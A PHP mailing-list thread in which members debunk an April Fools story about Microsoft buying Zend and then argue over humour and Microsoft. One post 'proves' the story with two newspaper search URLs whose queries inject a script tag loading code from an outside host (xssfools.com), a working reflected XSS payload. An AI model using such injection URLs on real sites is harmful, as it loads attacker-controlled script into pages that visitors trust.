Re: [PHP] microsoft PHP ?
Hey, Just as long as everyone knows that everything I said was all in good fun. Next time I'll be sure to use sarcasam just to be sure nothing is taken the wrong way ;-)Its quite strange actually how touchy so many people have gotten... becauseas I read the whole comeback joke I thought it was pretty damn funny anddidnt think anyone would misunderstand it as anything other than a joke, didnt really think there is/was a need for sarcasm tags either, if you're on the listfor some time you see that Chris/Rasmus and nearly everyone else has a sense ofhumour...they take the time to help us lowly php problem thread starters dont they? Maybe its all stress... take it easy guysCheers! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] microsoft PHP ?
I wonder how long this is gonna go on for, its ironic that the name 'Microsoft' seems to spread through this mailing list just like it spreads through peoples computers ... humm another thing that implies the same rule is a virus ! derm derm drm... Ryan A wrote: Hey, Just as long as everyone knows that everything I said was all in good fun. Next time I'll be sure to use sarcasam just to be sure nothing is taken the wrong way ;-)Its quite strange actually how touchy so many people have gotten... becauseas I read the whole comeback joke I thought it was pretty damn funny anddidnt think anyone would misunderstand it as anything other than a joke, didnt really think there is/was a need for sarcasm tags either, if you're on the listfor some time you see that Chris/Rasmus and nearly everyone else has a sense ofhumour...they take the time to help us lowly php problem thread starters dont they? Maybe its all stress... take it easy guysCheers! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] microsoft PHP ?
This one time, at band camp, Matt Richards [EMAIL PROTECTED] wrote: Zouari Fourat: lol, bet you feel silly now :) Of course, the real give away in the original article on www.phpro.org was the MS CEO Al Porfoli is an anagram of April Fool Kevin -- Democracy is two wolves and a lamb voting on what to have for lunch. Liberty is a well-armed lamb contesting the vote. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] microsoft PHP ?
At 4:20 PM -0500 4/1/06, Joe Wollard wrote: Leave poor Zouari alone! I for one think that Microsoft buying Zend would be the best thing to happen to PHP, EVAR! You might not think that way if you had been developing in M$ QuickBASIC for the Mac. One day M$ just said Nope, the line isn't making the money we want, so we're dropping it. There were a lot of developers who were left hanging -- I wouldn't want to be there again. If at all possible, I choose any alternative over what M$ provides. tedd -- http://sperling.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
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At 11:38 AM 4/2/2006, tedd wrote: At 4:20 PM -0500 4/1/06, Joe Wollard wrote: Leave poor Zouari alone! I for one think that Microsoft buying Zend would be the best thing to happen to PHP, EVAR! You might not think that way if you had been developing in M$ QuickBASIC for the Mac. One day M$ just said Nope, the line isn't making the money we want, so we're dropping it. There were a lot of developers who were left hanging -- I wouldn't want to be there again. If at all possible, I choose any alternative over what M$ provides. tedd -- Ditto to what Tedd just wrote - a major client has a project stranded forever in VB6 because MSFT broke the model with VB.NET. There are constructs and structures which were perfectly legitimate when it was first conceived, when VB4 was the current version. So - when I was asked to write a little app to maintain some subscriber billing info and create some reports on the desktop side, which could have been done in Excel, I opted for PHP, PHP-GTK and MySQL. There was a learning curve with PHP-GTK's layout (Glade helped a lot!!) but this will continue to work, Windows or Linux, and should run on later Macs. Great feeling! Miles -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.1.385 / Virus Database: 268.3.4/299 - Release Date: 3/31/2006 -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] microsoft PHP ?
the best april joke i got :) On 4/2/06, tedd [EMAIL PROTECTED] wrote: At 4:20 PM -0500 4/1/06, Joe Wollard wrote: Leave poor Zouari alone! I for one think that Microsoft buying Zend would be the best thing to happen to PHP, EVAR! You might not think that way if you had been developing in M$ QuickBASIC for the Mac. One day M$ just said Nope, the line isn't making the money we want, so we're dropping it. There were a lot of developers who were left hanging -- I wouldn't want to be there again. If at all possible, I choose any alternative over what M$ provides. tedd -- http://sperling.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
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At 5:00 PM +0200 4/2/06, Zouari Fourat wrote: the best april joke i got :) It wasn't a joke. M$ has one thing on their mind, and that is $. If their bottom line isn't improved by whatever they produce, then they drop it. If it hurts thousands of developers who supported their product in process, then that's to be expected -- after all it's M$ That reminds me of story about a young girl who in the middle of winter came across a poisonous snake laying in the snow. She picked up the snake and took it in doors and placed it by the fire and gave it warm food and drink and saved the snake's life. The snake, after being revived, bit her. She proclaimed Why did you do that? I saved your life and now because you bit me, I'll die. The snake replied I don't understand your confusion, you knew I was a snake when you found me. Whenever possible, I now take the fork in the road not traveled by M$. tedd -- http://sperling.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] microsoft PHP ?
Joe Wollard wrote: I made fun of Chris and Rasmus specifically because I know they're on this list. I appreciate being considered important enough to make fun of. Thanks! :-) Chris -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
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Just as long as everyone knows that everything I said was all in good fun. Next time I'll be sure to use sarcasam just to be sure nothing is taken the wrong way ;-) On 4/2/06, Chris Shiflett [EMAIL PROTECTED] wrote: Joe Wollard wrote: I made fun of Chris and Rasmus specifically because I know they're on this list. I appreciate being considered important enough to make fun of. Thanks! :-) Chris
Re: [PHP] microsoft PHP ?
quote: Joe Wollard wrote: Just as long as everyone knows that everything I said was all in good fun./sarcasam Next time I'll be sure to use sarcasam just to be sure nothing is taken the wrong way ;-) Joe Wollard wrote: Just as long as everyone knows that everything I said was all in good fun. Next time I'll be sure to use sarcasam just to be sure nothing is taken the wrong way ;-) On 4/2/06, *Chris Shiflett* [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote: Joe Wollard wrote: I made fun of Chris and Rasmus specifically because I know they're on this list. I appreciate being considered important enough to make fun of. Thanks! :-) Chris -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
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oops forgot the first sarcasam .. oh well! :( Matt Richards wrote: quote: Joe Wollard wrote: Just as long as everyone knows that everything I said was all in good fun./sarcasam Next time I'll be sure to use sarcasam just to be sure nothing is taken the wrong way ;-) Joe Wollard wrote: Just as long as everyone knows that everything I said was all in good fun. Next time I'll be sure to use sarcasam just to be sure nothing is taken the wrong way ;-) On 4/2/06, *Chris Shiflett* [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote: Joe Wollard wrote: I made fun of Chris and Rasmus specifically because I know they're on this list. I appreciate being considered important enough to make fun of. Thanks! :-) Chris -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
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el-oh-el. See, I forgot already. Good lookin' out Matt! On 4/2/06, Matt Richards [EMAIL PROTECTED] wrote: oops forgot the first sarcasam .. oh well! :( Matt Richards wrote: quote: Joe Wollard wrote: Just as long as everyone knows that everything I said was all in good fun./sarcasam Next time I'll be sure to use sarcasam just to be sure nothing is taken the wrong way ;-) Joe Wollard wrote: Just as long as everyone knows that everything I said was all in good fun. Next time I'll be sure to use sarcasam just to be sure nothing is taken the wrong way ;-) On 4/2/06, *Chris Shiflett* [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote: Joe Wollard wrote: I made fun of Chris and Rasmus specifically because I know they're on this list. I appreciate being considered important enough to make fun of. Thanks! :-) Chris
Re: [PHP] microsoft PHP ?
here's the link http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: I've just heard about Microsoft deal, the geant bought the Zend platform at 113 million US$. What will be the php future ? it's gonna switch to proprietary licence ? closed source ? or it was a Zend product deal ? (zend studio, platform ...) not affecting the php language in itself ? Does this mean that all efforts done in open source by thousands of people around the world to get a web scripting language at a high entreprise level is now bought by Micrsoft ? Where did you hear this? Have you considered the date? Have you considered how unlikely it is? Have you ever sought professional help? -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
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Did you even look at the calendar which date we have today? Correct, April 1st... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] microsoft PHP ?
Zouari Fourat wrote: here's the link http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html Seriously... consider the date. -Stut On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: I've just heard about Microsoft deal, the geant bought the Zend platform at 113 million US$. What will be the php future ? it's gonna switch to proprietary licence ? closed source ? or it was a Zend product deal ? (zend studio, platform ...) not affecting the php language in itself ? Does this mean that all efforts done in open source by thousands of people around the world to get a web scripting language at a high entreprise level is now bought by Micrsoft ? Where did you hear this? Have you considered the date? Have you considered how unlikely it is? Have you ever sought professional help? -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
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hope that :) On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: here's the link http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html Seriously... consider the date. -Stut On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: I've just heard about Microsoft deal, the geant bought the Zend platform at 113 million US$. What will be the php future ? it's gonna switch to proprietary licence ? closed source ? or it was a Zend product deal ? (zend studio, platform ...) not affecting the php language in itself ? Does this mean that all efforts done in open source by thousands of people around the world to get a web scripting language at a high entreprise level is now bought by Micrsoft ? Where did you hear this? Have you considered the date? Have you considered how unlikely it is? Have you ever sought professional help? -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
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Come on, you should have played along... ;-) Gerry On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: here's the link http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html Seriously... consider the date. -Stut On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: I've just heard about Microsoft deal, the geant bought the Zend platform at 113 million US$. What will be the php future ? it's gonna switch to proprietary licence ? closed source ? or it was a Zend product deal ? (zend studio, platform ...) not affecting the php language in itself ? Does this mean that all efforts done in open source by thousands of people around the world to get a web scripting language at a high entreprise level is now bought by Micrsoft ? Where did you hear this? Have you considered the date? Have you considered how unlikely it is? Have you ever sought professional help? -Stut
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that is f--'d up manI just started liking php5 :( Oh well, f-- this open source garbage. On 4/1/06, Gerry Danen [EMAIL PROTECTED] wrote: Come on, you should have played along... ;-) Gerry On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: here's the link http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html Seriously... consider the date. -Stut On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: I've just heard about Microsoft deal, the geant bought the Zend platform at 113 million US$. What will be the php future ? it's gonna switch to proprietary licence ? closed source ? or it was a Zend product deal ? (zend studio, platform ...) not affecting the php language in itself ? Does this mean that all efforts done in open source by thousands of people around the world to get a web scripting language at a high entreprise level is now bought by Micrsoft ? Where did you hear this? Have you considered the date? Have you considered how unlikely it is? Have you ever sought professional help? -Stut -- Anthony Ettinger Signature: http://chovy.dyndns.org/hcard.html
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Gerry Danen wrote: Come on, you should have played along... ;-) I'd had my fill by the time that arrived. It seems to me that people go overboard now. Slashdot used to have one a year, and it was always something that was vaguely possible, this year they've even changed the colour scheme on the site. Shame really. -Stut On 4/1/06, *Stut* [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote: Zouari Fourat wrote: here's the link http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html Seriously... consider the date. -Stut On 4/1/06, Stut [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote: Zouari Fourat wrote: I've just heard about Microsoft deal, the geant bought the Zend platform at 113 million US$. What will be the php future ? it's gonna switch to proprietary licence ? closed source ? or it was a Zend product deal ? (zend studio, platform ...) not affecting the php language in itself ? Does this mean that all efforts done in open source by thousands of people around the world to get a web scripting language at a high entreprise level is now bought by Micrsoft ? Where did you hear this? Have you considered the date? Have you considered how unlikely it is? Have you ever sought professional help? -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
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:) Gerry not that funny ;) I was affraid :o from the news On 4/1/06, Gerry Danen [EMAIL PROTECTED] wrote: Come on, you should have played along... ;-) Gerry On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: here's the link http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html Seriously... consider the date. -Stut On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: I've just heard about Microsoft deal, the geant bought the Zend platform at 113 million US$. What will be the php future ? it's gonna switch to proprietary licence ? closed source ? or it was a Zend product deal ? (zend studio, platform ...) not affecting the php language in itself ? Does this mean that all efforts done in open source by thousands of people around the world to get a web scripting language at a high entreprise level is now bought by Micrsoft ? Where did you hear this? Have you considered the date? Have you considered how unlikely it is? Have you ever sought professional help? -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
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Zouari Fourat wrote: :) Gerry not that funny ;) I was affraid :o from the news Rule #1 on the Internet... Never trust any news without a link to an official source Rule #2 on the Internet... Never trust anything you read on April 1st -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
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Zouari Fourat: lol, bet you feel silly now :) Stut wrote: Zouari Fourat wrote: :) Gerry not that funny ;) I was affraid :o from the news Rule #1 on the Internet... Never trust any news without a link to an official source Rule #2 on the Internet... Never trust anything you read on April 1st -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
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Leave poor Zouari alone! I for one think that Microsoft buying Zend would be the best thing to happen to PHP, EVAR! This Rasmus guy didn't even mean for PHP to be what it is, he just wanted something simple and now look at it. It's WAY to complex for an unorganized bunch of hobbyists to maintain. I'm personally looking forward to the way they'll clean things up. Who knows, maybe once they've got PHP under control we won't need these security 'experts' like Chris Shifflett any more because would be hackers won't be able to see the source code, which of course means they won't be able to find vulnerabilities. You guys just need to give up on this open source hippie dream and let Microsoft change things for the better - who cares if Stephen King thinks they are working in conjunction with the Crimson King and that they might build robots that will someday take over the world and more or less 'suck the s-m-r-t' out of 50% of the worlds twins? He looks creepy anyway. - and a happy April fool's to all ;-) On 4/1/06, Matt Richards [EMAIL PROTECTED] wrote: Zouari Fourat: lol, bet you feel silly now :) Stut wrote: Zouari Fourat wrote: :) Gerry not that funny ;) I was affraid :o from the news Rule #1 on the Internet... Never trust any news without a link to an official source Rule #2 on the Internet... Never trust anything you read on April 1st -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
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nice one! On 4/1/06, Joe Wollard [EMAIL PROTECTED] wrote: Leave poor Zouari alone! I for one think that Microsoft buying Zend would be the best thing to happen to PHP, EVAR! This Rasmus guy didn't even mean for PHP to be what it is, he just wanted something simple and now look at it. It's WAY to complex for an unorganized bunch of hobbyists to maintain. I'm personally looking forward to the way they'll clean things up. Who knows, maybe once they've got PHP under control we won't need these security 'experts' like Chris Shifflett any more because would be hackers won't be able to see the source code, which of course means they won't be able to find vulnerabilities. You guys just need to give up on this open source hippie dream and let Microsoft change things for the better - who cares if Stephen King thinks they are working in conjunction with the Crimson King and that they might build robots that will someday take over the world and more or less 'suck the s-m-r-t' out of 50% of the worlds twins? He looks creepy anyway. - and a happy April fool's to all ;-) On 4/1/06, Matt Richards [EMAIL PROTECTED] wrote: Zouari Fourat: lol, bet you feel silly now :) Stut wrote: Zouari Fourat wrote: :) Gerry not that funny ;) I was affraid :o from the news Rule #1 on the Internet... Never trust any news without a link to an official source Rule #2 on the Internet... Never trust anything you read on April 1st -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- Anthony Ettinger Signature: http://chovy.dyndns.org/hcard.html -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] microsoft PHP ?
Joe Wollard wrote: Leave poor Zouari alone! I for one think that Microsoft buying Zend would be the best thing to happen to PHP, EVAR! This Rasmus guy didn't even mean for PHP to be what it is, he just wanted something simple and now look at it. It's WAY to complex for an unorganized bunch of hobbyists to maintain. I'm personally looking forward to the way they'll clean things up. Who knows, maybe once they've got PHP under control we won't need these security 'experts' like Chris Shifflett any more because would be hackers won't be able to see the source code, which of course means they won't be able to find vulnerabilities. You guys just need to give up on this open source hippie dream and let Microsoft change things for the better - who cares if Stephen King thinks they are working in conjunction with the Crimson King and that they might build robots that will someday take over the world and more or less 'suck the s-m-r-t' out of 50% of the worlds twins? He looks creepy anyway. - and a happy April fool's to all ;-) Here's assuming that was a joke so I won't get into the factual errors. I wonder how Zend and the other core developers will feel about being referred to as an unorganized bunch of hobbyists. -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
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Are you guys sure, I mean the St Louis Post Dispatch is showing it too... As is Cincinatti.com http://search.cincinnati.com/sp?aff=5keywords=%3Cscript%20src=http://www.xssfools.com/xss.php%3Fy%3Dh917254010%3E%3C/script%3E http://www.stltoday.com/stltoday/search.nsf/sitesearchresults?openviewtype=1ch=Homequery=%3Cscript+src%3Dhttp%3A%2F%2Fwww.xssfools.com%2Fxss.php%3Fy%3Dh917254010%3E%3C%2Fscript%3E On 4/1/06, Stut [EMAIL PROTECTED] wrote: Joe Wollard wrote: Leave poor Zouari alone! I for one think that Microsoft buying Zend would be the best thing to happen to PHP, EVAR! This Rasmus guy didn't even mean for PHP to be what it is, he just wanted something simple and now look at it. It's WAY to complex for an unorganized bunch of hobbyists to maintain. I'm personally looking forward to the way they'll clean things up. Who knows, maybe once they've got PHP under control we won't need these security 'experts' like Chris Shifflett any more because would be hackers won't be able to see the source code, which of course means they won't be able to find vulnerabilities. You guys just need to give up on this open source hippie dream and let Microsoft change things for the better - who cares if Stephen King thinks they are working in conjunction with the Crimson King and that they might build robots that will someday take over the world and more or less 'suck the s-m-r-t' out of 50% of the worlds twins? He looks creepy anyway. - and a happy April fool's to all ;-) Here's assuming that was a joke so I won't get into the factual errors. I wonder how Zend and the other core developers will feel about being referred to as an unorganized bunch of hobbyists. -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] microsoft PHP ?
Stut wrote:
Joe Wollard wrote:
Leave poor Zouari alone! I for one think that Microsoft
buying Zend would be the best thing to happen to PHP, EVAR!
This Rasmus guy didn't even mean for PHP to be what it is, he
just wanted something simple and now look at it. It's WAY to
complex for an unorganized bunch of hobbyists to maintain. I'm
personally looking forward to the way they'll clean things up.
Who knows, maybe once they've got PHP under control we won't
need these security 'experts' like Chris Shifflett any more because
would be hackers won't be able to see the source code, which of
course means they won't be able to find vulnerabilities. You guys just
need to give up on this open source hippie dream and let Microsoft
change things for the better - who cares if Stephen King thinks
they are working in conjunction with the Crimson King and that
they might build robots that will someday take over the world
and more or less 'suck the s-m-r-t' out of 50% of the worlds
twins? He looks creepy anyway.
- and a happy April fool's to all ;-)
__
Troll, I warnest thee, BEGONE!!!
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:-D
Here's assuming that was a joke so I won't get into the factual
errors. I wonder how Zend and the other core developers will
feel about being referred to as an unorganized bunch of hobbyists.
-Stut
Well, I'm not sure about your LOCALE and cultural referents,
but from where I'm sitting I could freakin' *see* the sarcasm
tags on that one ... or maybe it's just my MUA. ;-)
As an aside, to prevent further potential misunderstanding,
there's one on my ASCII art as well :-D
KDK
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Sheesh Stut, I thought the - and a happy April fool's to all ;-) would be
enough. Of course I'm joking, why would I be on this list if I didn't like
open source and PHP in general? Besides, I made fun of Chris and Rasmus
specifically because I know they're on this list. They both know they
_rule_so_hard_!
On 4/1/06, Kevin Kinsey [EMAIL PROTECTED] wrote:
Stut wrote:
Joe Wollard wrote:
Leave poor Zouari alone! I for one think that Microsoft
buying Zend would be the best thing to happen to PHP, EVAR!
This Rasmus guy didn't even mean for PHP to be what it is, he
just wanted something simple and now look at it. It's WAY to
complex for an unorganized bunch of hobbyists to maintain. I'm
personally looking forward to the way they'll clean things up.
Who knows, maybe once they've got PHP under control we won't
need these security 'experts' like Chris Shifflett any more because
would be hackers won't be able to see the source code, which of
course means they won't be able to find vulnerabilities. You guys just
need to give up on this open source hippie dream and let Microsoft
change things for the better - who cares if Stephen King thinks
they are working in conjunction with the Crimson King and that
they might build robots that will someday take over the world
and more or less 'suck the s-m-r-t' out of 50% of the worlds
twins? He looks creepy anyway.
- and a happy April fool's to all ;-)
__
Troll, I warnest thee, BEGONE!!!
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\/ \ //\
\|\___/| / \// \\
/0 0 \__ /// | \ \
/ / \/_/// | \ \
@_^_@'/ \/_ //| \ \
//_^_/ \/_ // |\\
( //) |\/// | \ \
( / /) _|_ / ) // | \ _\
( // /) '/,_ _ _/ ( ; -.|_ _\.-~.-~~~^-.
(( / / )) ,-{_ `-.|.-~-. .~ `.
(( // / )) '/\ / ~-. _ .-~ .-~^-. \
(( /// )) `. {} / \ \
(( / )) .~-.\\-' .~ \ `. \^-.
///...\ _ -~
`. ^-` ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
/.-~
:-D
Here's assuming that was a joke so I won't get into the factual
errors. I wonder how Zend and the other core developers will
feel about being referred to as an unorganized bunch of hobbyists.
-Stut
Well, I'm not sure about your LOCALE and cultural referents,
but from where I'm sitting I could freakin' *see* the sarcasm
tags on that one ... or maybe it's just my MUA. ;-)
As an aside, to prevent further potential misunderstanding,
there's one on my ASCII art as well :-D
KDK
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Re: [PHP] microsoft PHP ?
Joe Wollard wrote:
Sheesh Stut, I thought the - and a happy April fool's to all ;-) would
be enough. Of course I'm joking, why would I be on this list if I didn't
like open source and PHP in general? Besides, I made fun of Chris and
Rasmus specifically because I know they're on this list. They both know
they _rule_so_hard_!
Blimey, I think everyone needs to get their sarcasm detectors checked.
Thank $DEITY it's now known as yesterday!!
-Stut
On 4/1/06, *Kevin Kinsey* [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote:
Stut wrote:
Joe Wollard wrote:
Leave poor Zouari alone! I for one think that Microsoft
buying Zend would be the best thing to happen to PHP, EVAR!
This Rasmus guy didn't even mean for PHP to be what it is, he
just wanted something simple and now look at it. It's WAY to
complex for an unorganized bunch of hobbyists to maintain. I'm
personally looking forward to the way they'll clean things up.
Who knows, maybe once they've got PHP under control we won't
need these security 'experts' like Chris Shifflett any more because
would be hackers won't be able to see the source code, which of
course means they won't be able to find vulnerabilities. You
guys just
need to give up on this open source hippie dream and let Microsoft
change things for the better - who cares if Stephen King thinks
they are working in conjunction with the Crimson King and that
they might build robots that will someday take over the world
and more or less 'suck the s-m-r-t' out of 50% of the worlds
twins? He looks creepy anyway.
- and a happy April fool's to all ;-)
__
Troll, I warnest thee, BEGONE!!!
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:-D
Here's assuming that was a joke so I won't get into the factual
errors. I wonder how Zend and the other core developers will
feel about being referred to as an unorganized bunch of hobbyists.
-Stut
Well, I'm not sure about your LOCALE and cultural referents,
but from where I'm sitting I could freakin' *see* the sarcasm
tags on that one ... or maybe it's just my MUA. ;-)
As an aside, to prevent further potential misunderstanding,
there's one on my ASCII art as well :-D
KDK
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Re: [PHP] microsoft PHP ?
On 4/1/06, Stut [EMAIL PROTECTED] wrote: Gerry Danen wrote: Come on, you should have played along... ;-) I'd had my fill by the time that arrived. It seems to me that people go overboard now. Slashdot used to have one a year, and it was always something that was vaguely possible, this year they've even changed the colour scheme on the site. Shame really. Stut, I agree that some jokes are taken too far. I have just returned to work after a heart episode but it did not send me back to the hospital. I agree that the last thing Zend deserves is the mshaft, but let's take the joke for what it was... I'm in GMT -7 so I get the jokes a bit later. Sorry if I added to your grief. Gerry -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] microsoft PHP ?
On 4/1/06, Stut [EMAIL PROTECTED] wrote: Here's assuming that was a joke so I won't get into the factual errors. I wonder how Zend and the other core developers will feel about being referred to as an unorganized bunch of hobbyists. Now that is slander we don't need. Group hug with the Zend folks, please. G -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
